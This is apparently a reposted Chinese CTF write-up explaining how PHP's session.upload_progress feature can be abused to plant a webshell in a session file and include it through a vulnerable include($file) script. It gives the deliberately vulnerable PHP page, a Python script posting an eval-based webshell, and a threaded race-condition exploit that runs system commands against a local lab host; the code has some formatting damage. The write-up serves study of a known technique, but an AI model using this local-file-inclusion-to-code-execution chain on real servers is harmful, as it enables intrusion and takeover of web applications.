利用session.upload_progress进行文件包含

迭代棱镜
• 阅读 1371

这次ciscn有一道web题考的就是这个知识点,但当时没有尝试去扫路径,被开头给的源码卡死了有点儿遗憾,不过还是想自己复现一下这个小trick。

先来看看p利用session.upload_progress进行文件包含

我们可以post session.upload_progress参数,写入木马。

这个选项可以让我们自己定义文件名。
例如,控制phsession=flag,则文件名就变为/tmp/sess_flag
这里还有一个配置选项是默认开启的
session.upload_progress.cleanup,这个选项会让post进程结束时删掉所有session文件。
我们先在php.ini里面关掉这个配置,结合上面的内容写木马试试。
session.php

<?php

$file = $_GET['file'];
include($file);
?>

1
2
3
4
exp1.py

import io
import requests
import threading

sessid = 'aaaaaaa'

def write_session(session):

url = '127.0.0.1/session.php'
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1/session.php?file=1.txt', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )

if name == '__main__':

with requests.session() as session:
    write_session(session)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
准备好了,运行exp1.py
来看看session文件目录多了什么。

多了个sess_aaaaaaa
看一下里面的内容。

可以看到,再开头这边木马已经被写入。我们在浏览器试试这个木马。

成功执行。

可以看到这个session是可以包含的,但session.upload_progress.cleanup这个配置是默认开启的,所以这里我们就需要利用条件竞争了。

import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('ls');"}
def write(session):

while True:
    f = io.BytesIO(b'a' * 1024 * 50)
    resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )

def read(session):

while True:
    resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
    if '1.txt' in resp.text:
        print(resp.text)
        event.clear()
    else:
        print("[+++++++++++++]retry")

if __name__=="__main__":

event=threading.Event()
with requests.session() as session:
    for i in range(1,30): 
        threading.Thread(target=write,args=(session,)).start()

    for i in range(1,30):
        threading.Thread(target=read,args=(session,)).start()
event.set()

————————————————
版权声明:本文为CSDN博主「fmyyy1」的原创文章,遵循CC 4.0 BY-SA版权协议
技术支持: 微信刷步数 IP查询

点赞
收藏
评论区
推荐文章
不才 不才
4年前
WebRTC 简单学习
WebRTC花了两天时间简单了解了一下WEBRTC,并由此写入三个DEMO。1.p2p点对点2.o2m一对多3.live直播目前主要都是按p2p进行的简单扩展。WebRTC简单了解目前资料不算少,不过确实也不多,而且理论偏多,新手入门其实还是有点压力的。这边推荐几个资料和视频。记得出问题看看文档先没有思路的时候记得看看这个
待兔 待兔
11个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
梦
4年前
微信小程序new Date()转换时间异常问题
微信小程序苹果手机页面上显示时间异常,安卓机正常问题image(https://imghelloworld.osscnbeijing.aliyuncs.com/imgs/b691e1230e2f15efbd81fe11ef734d4f.png)错误代码vardate'2021030617:00:00'vardateT
Aimerl0 Aimerl0
4年前
每日一题(一)
写在前面刷题在北联大的BUU平台,每日一题,每日更新,嘿嘿HCTF2018WarmUp刚开始看这个题真的一点思路没有,看源码、抓包一波操作过后还是选择去找了wp。。。wp说原题是有个hint.php,扫目录也可以扫出source.phphint.php里面说真正的flag文件是ffffllllaaaagggg里source.php里面是源码,代码审
Stella981 Stella981
3年前
Idea 配合 Gradle 多项目管理
缘起之前一直用的是eclipse,几次(差不多有3、4次吧)想切换到idea这个传说中的IDE,不过一直被Gradle设置给打了回来。这次干活干累了决定配置一下idea权当休闲,经过一番翻箱倒柜,终于达到了自己满意的效果。Gradle配合IdeaModule先说一下我
Stella981 Stella981
3年前
Python Challenge Level 18
初学Python,挑战一下流行的PythonChallenge,很不幸,卡在了18关~~被字符字节码之间的转换搞得焦头烂额,不过终于搞定了还是很happy的~~~主要的问题就是16进制形式的字符如何转成字节码(注意:不是encoding)如:\'89','50','4e','47','0d','0a','1a','0a','00
Stella981 Stella981
3年前
Ant打包android工程
使用步骤:1\.对于已经存在的工程需要利用Ant命令更新一下:androidupdateprojectnTestpD:/workspace/Testst1  n(name)后面跟的是这个工程的名子  p(path)后面跟的是这个工程的目录路径  t(target)后面是当前共有的
Wesley13 Wesley13
3年前
2018春,在实习面试过程中遇到的一些问题
在面试一家位于东单的公司的时候,遇到了这样一道关于IP地址的程序题。当时思路卡在了选用一种什么样的容器,既能够存储int型变量,又能够存储“."。今天在做PTA的程序设计题时,醒悟过来,可以使用scanf来处理这个”.”。具体用法是://如何忽略掉时间格式中12:35中的“:”。include<stdio.hi
Wesley13 Wesley13
3年前
35岁,真的是程序员的一道坎吗?
“程序员35岁是道坎”,“程序员35岁被裁”……这些话咱们可能都听腻了,但每当触及还是会感到丝丝焦虑,毕竟每个人都会到35岁。而国内互联网环境确实对35岁以上的程序员不太友好:薪资要得高,却不如年轻人加班猛;虽说经验丰富,但大部分公司并不需要太资深的程序员。但35岁危机并不是不可避免的,比如你可以不断精进技术,将来做技术管理或者
芝士年糕 芝士年糕
2年前
Windows10修改远程桌面密码
方法特别简单,我用3A服务器给你们展示一下修改这个密码,实际上就是修改用户的密码1、打开控制面板!image(https://imghelloworld.osscnbeijing.aliyuncs.com/imgs/25799e19a
Python进阶者 Python进阶者
1年前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这
迭代棱镜
迭代棱镜
Lv1
水滴涟漪终消散,木记轮回恋此生。
文章
5
粉丝
0
获赞
0